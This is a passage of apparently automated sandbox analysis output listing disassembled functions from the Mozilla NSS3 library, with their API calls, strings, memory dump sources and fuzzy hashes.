free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CE84F51,00000000), ref: 6CE94D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CE84F51,00000000), ref: 6CE94D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CE94D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CE94DA2
free.MOZGLUE(?), ref: 6CE94DB9
free.MOZGLUE(00000000), ref: 6CE94DCF

Strings

every, xrefs: 6CE94CA1
0x%08lx=[%s %s], xrefs: 6CE94D80
timeout, xrefs: 6CE94C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CE94D9D
any, xrefs: 6CE94C96
rootFlags, xrefs: 6CE94D47
slotFlags, xrefs: 6CE94D34
rust, xrefs: 6CE94D22
ootT, xrefs: 6CE94D1A
%s,%s, xrefs: 6CE94C4B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 0eab00b72d3a57e488843269c8ebb9702853965d02e4042d6ed996a28a7de6e0
Instruction ID: 531944202f0bca60cc2d4f80f85222b8759db437ebacaa017d064922a474d2f5
Opcode Fuzzy Hash: 0eab00b72d3a57e488843269c8ebb9702853965d02e4042d6ed996a28a7de6e0
Instruction Fuzzy Hash: C3417CB6D101416BEB129F259C84ABA7A75AF8330CF29412AEC254BB11E735E924C7D3

Function 6CE76CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE76910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CE76943
Part of subcall function 6CE76910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CE76957
Part of subcall function 6CE76910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CE76972
Part of subcall function 6CE76910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CE76983
Part of subcall function 6CE76910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CE769AA
Part of subcall function 6CE76910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CE769BE
Part of subcall function 6CE76910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CE769D2
Part of subcall function 6CE76910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CE769DF
Part of subcall function 6CE76910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CE76A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE76D8C
free.MOZGLUE(00000000), ref: 6CE76DC5
free.MOZGLUE(?), ref: 6CE76DD6
free.MOZGLUE(?), ref: 6CE76DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE76E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE76E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE76E72
free.MOZGLUE(?), ref: 6CE76EA7
free.MOZGLUE(?), ref: 6CE76EC4
free.MOZGLUE(?), ref: 6CE76ED5
free.MOZGLUE(00000000), ref: 6CE76EE3
free.MOZGLUE(?), ref: 6CE76EF4
free.MOZGLUE(?), ref: 6CE76F08
free.MOZGLUE(00000000), ref: 6CE76F35
free.MOZGLUE(?), ref: 6CE76F44
free.MOZGLUE(?), ref: 6CE76F5B
free.MOZGLUE(00000000), ref: 6CE76F65

Part of subcall function 6CE76C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE7781D,00000000,6CE6BE2C,?,6CE76B1D,?,?,?,?,00000000,00000000,6CE7781D), ref: 6CE76C40
Part of subcall function 6CE76C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE7781D,?,6CE6BE2C,?), ref: 6CE76C58
Part of subcall function 6CE76C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE7781D), ref: 6CE76C6F
Part of subcall function 6CE76C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE76C84
Part of subcall function 6CE76C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE76C96
Part of subcall function 6CE76C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE76CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE76F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE76FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CE76FF4

Strings

+`l, xrefs: 6CE76D0D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 36adae286709bcb54ec359afad0a431bf7ce3f9a2cb6001062401429740aba35
Instruction ID: 96183989eaff89951518c8a717d5c48d139cda1cae819e3db82cf2783f2b9987
Opcode Fuzzy Hash: 36adae286709bcb54ec359afad0a431bf7ce3f9a2cb6001062401429740aba35
Instruction Fuzzy Hash: 56B13BB0E012099BDF20DBA5D885B9EBBB8AF0525CF240125E815E7741E735AA19CBB1

Function 6CE3DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE3DDDE

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE3DDF5

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE3DE34
PR_Now.NSS3 ref: 6CE3DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE3DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE3DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE3DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE3DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE3DEF0
PR_smprintf.NSS3(6CF6AAF9,(NULL) (Validity Unknown)), ref: 6CE3DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE3DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE3DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE3DF33
free.MOZGLUE(00000000), ref: 6CE3DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE3DF4B
free.MOZGLUE(00000000), ref: 6CE3DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE3DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CE3DEFA
%s%s, xrefs: 6CE3DEEB
{???}, xrefs: 6CE3DE8B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: b7bae87b278152222941906596afe77939f0b5ea367c6bafe3efea6f2b8b1bf4
Instruction ID: 4a443f3da8ffd939b7a18769322ee73c50c0e217fd0e835cedefe10289d8eb7e
Opcode Fuzzy Hash: b7bae87b278152222941906596afe77939f0b5ea367c6bafe3efea6f2b8b1bf4
Instruction Fuzzy Hash: AE51E4B5E101119BDB00DF659C81AAF7BF9AF85358F244029E80DE7B01E731EA15CBE1

Function 6CE72D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CE72DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CE72E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE72E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE72E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE44F1C,?,-00000001,00000000,?), ref: 6CE72E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE44F1C,?,-00000001,00000000), ref: 6CE72E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE72EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE72EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE72EF8
PR_Unlock.NSS3(?), ref: 6CE72F62
TlsGetValue.KERNEL32 ref: 6CE72F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE72F9E
PR_Unlock.NSS3(?), ref: 6CE72FCA
TlsGetValue.KERNEL32 ref: 6CE7301A
EnterCriticalSection.KERNEL32(?), ref: 6CE7302E
PR_Unlock.NSS3(?), ref: 6CE73066
PR_SetError.NSS3(00000000,00000000), ref: 6CE73085
PR_Unlock.NSS3(?), ref: 6CE730EC
TlsGetValue.KERNEL32 ref: 6CE7310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE73124
PR_Unlock.NSS3(?), ref: 6CE7314C

Part of subcall function 6CE59180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CE8379E,?,6CE59568,00000000,?,6CE8379E,?,00000001,?), ref: 6CE5918D
Part of subcall function 6CE59180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CE8379E,?,6CE59568,00000000,?,6CE8379E,?,00000001,?), ref: 6CE591A0

Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207AD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207CD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207D6
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDB204A), ref: 6CE207E4
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,6CDB204A), ref: 6CE20864
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE20880
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,6CDB204A), ref: 6CE208CB
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208D7
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208FB

PR_SetError.NSS3(00000000,00000000), ref: 6CE7316D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: fbdb6ae97eabdfad17155dc34e2278074d756d392f6b2584a75eca6cacc0756e
Instruction ID: a329552a36ba4eda2b5ed668bcbac619260e7a6430a1e8378c49f9ecec470239
Opcode Fuzzy Hash: fbdb6ae97eabdfad17155dc34e2278074d756d392f6b2584a75eca6cacc0756e
Instruction Fuzzy Hash: FAF18BB5D00208EFDF50DF64D848BAABBB4FF0A318F244169EC15A7711E731A995CBA1

Function 6CE6AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CE6AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE6AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE6AF83

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE6AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CE6AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CE6AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE6AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE6B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE6B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CE6B041

Strings

pulSignatureLen = 0x%p, xrefs: 6CE6B03C
pData = 0x%p, xrefs: 6CE6AFEF
ulParameterLen = 0x%p, xrefs: 6CE6AFD4
(CK_INVALID_HANDLE), xrefs: 6CE6AF7C
ulDataLen = %d, xrefs: 6CE6B00A
hSession = 0x%x, xrefs: 6CE6AF5E, 6CE6AF6E
C_SignMessage, xrefs: 6CE6AF41
pSignature = 0x%p, xrefs: 6CE6B023
pParameter = 0x%p, xrefs: 6CE6AFB9

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 54b4c4080019417f30263c9a7376d51c4e1eea97529cba41d76270ab70e5f23a
Instruction ID: 1167124be8a561a8c1c20b33ed9f5071d4caef98b3de69feaac12733f70f22dc
Opcode Fuzzy Hash: 54b4c4080019417f30263c9a7376d51c4e1eea97529cba41d76270ab70e5f23a
Instruction Fuzzy Hash: F241D235E51004EFDF448F10DD49F893FB2AB5630DF598428F90857B22DB328868DBA6

Function 6CE59FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE59FBE

Part of subcall function 6CE32F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE32F0A
Part of subcall function 6CE32F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE32F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE5A015

Part of subcall function 6CE71940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CE7563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CE7195C
Part of subcall function 6CE71940: EnterCriticalSection.KERNEL32(?,?,6CE7563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CE4EAC5,00000001), ref: 6CE71970
Part of subcall function 6CE71940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CE4EAC5,00000001,?,6CE4CE9B,00000001,6CE4EAC5), ref: 6CE719A0

PL_FreeArenaPool.NSS3(?), ref: 6CE5A067
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE5A055

Part of subcall function 6CDB4C70: TlsGetValue.KERNEL32(?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4C97
Part of subcall function 6CDB4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4CB0
Part of subcall function 6CDB4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE5A07E
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE5A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CE5A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CE5A0CF
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE5A12E
PL_FreeArenaPool.NSS3(?), ref: 6CE5A140
PL_FinishArenaPool.NSS3(?), ref: 6CE5A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE5A158
PL_FinishArenaPool.NSS3(?), ref: 6CE5A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CE5A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE5A1B2
free.MOZGLUE(00000000), ref: 6CE5A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CE5A1D6

Part of subcall function 6CE755E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CE4EAC5,00000001,?,6CE4CE9B,00000001,6CE4EAC5,00000003,-00000004,00000000,?,6CE4EAC5), ref: 6CE75627
Part of subcall function 6CE755E0: PR_CallOnce.NSS3(6CF92AA4,6CE912D0,?,?,?,?,?,?,?,?,?,?,6CE4EAC5,00000001,?,6CE4CE9B), ref: 6CE7564F
Part of subcall function 6CE755E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE4EAC5,00000001), ref: 6CE75661
Part of subcall function 6CE755E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE4EAC5), ref: 6CE756AF

Strings

security, xrefs: 6CE5A00F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 19f238e987c67ed6f1bcbdb35db4d17479652397f8aa0989edd02c7b4e641403
Instruction ID: 69f8beb120355f3628266a8746adb2140b04584fba42dc6e769c97102a3f5101
Opcode Fuzzy Hash: 19f238e987c67ed6f1bcbdb35db4d17479652397f8aa0989edd02c7b4e641403
Instruction Fuzzy Hash: 0D512AB6D402096BEB009BA4DD44BBE7378AF4234CF700029E905ABB41E776A519C7B2

Function 6CE74C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE74C4C
EnterCriticalSection.KERNEL32(?), ref: 6CE74C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CE74CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74DB7

Part of subcall function 6CEDDD70: TlsGetValue.KERNEL32 ref: 6CEDDD8C
Part of subcall function 6CEDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDDB4

Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207AD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207CD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207D6
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDB204A), ref: 6CE207E4
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,6CDB204A), ref: 6CE20864
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE20880
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,6CDB204A), ref: 6CE208CB
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208D7
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208FB

TlsGetValue.KERNEL32 ref: 6CE74DD7
EnterCriticalSection.KERNEL32(?), ref: 6CE74DEC
PR_Unlock.NSS3(?), ref: 6CE74E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CE74E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CE74E71
free.MOZGLUE(00000000), ref: 6CE74E7A
PR_Unlock.NSS3(?), ref: 6CE74EA2
TlsGetValue.KERNEL32 ref: 6CE74EC1
EnterCriticalSection.KERNEL32(?), ref: 6CE74ED6
PR_Unlock.NSS3(?), ref: 6CE74F01
free.MOZGLUE(00000000), ref: 6CE74F2A

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 7124bdccd781a75f689e3d80c95056f74362f8c24c5abdb45f15d03577cd4e55
Instruction ID: 8b3e123b8f2717ca691d1702053b2c782f5affa454b911a942ab3569a10546be
Opcode Fuzzy Hash: 7124bdccd781a75f689e3d80c95056f74362f8c24c5abdb45f15d03577cd4e55
Instruction Fuzzy Hash: BEB1EF75E002059FEB50EF28D844BAA77B4BF0A31CF25412AE9159BB01E734E965CFA1

Function 6CE7FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE7FFB4

Part of subcall function 6CEF98D0: calloc.MOZGLUE(00000001,00000084,6CE20936,00000001,?,6CE2102C), ref: 6CEF98E5

PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE7FFC6

Part of subcall function 6CEF98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CEF9946
Part of subcall function 6CEF98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDB16B7,00000000), ref: 6CEF994E
Part of subcall function 6CEF98D0: free.MOZGLUE(00000000), ref: 6CEF995E

PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE7FFD6
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE7FFE6
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE7FFF6
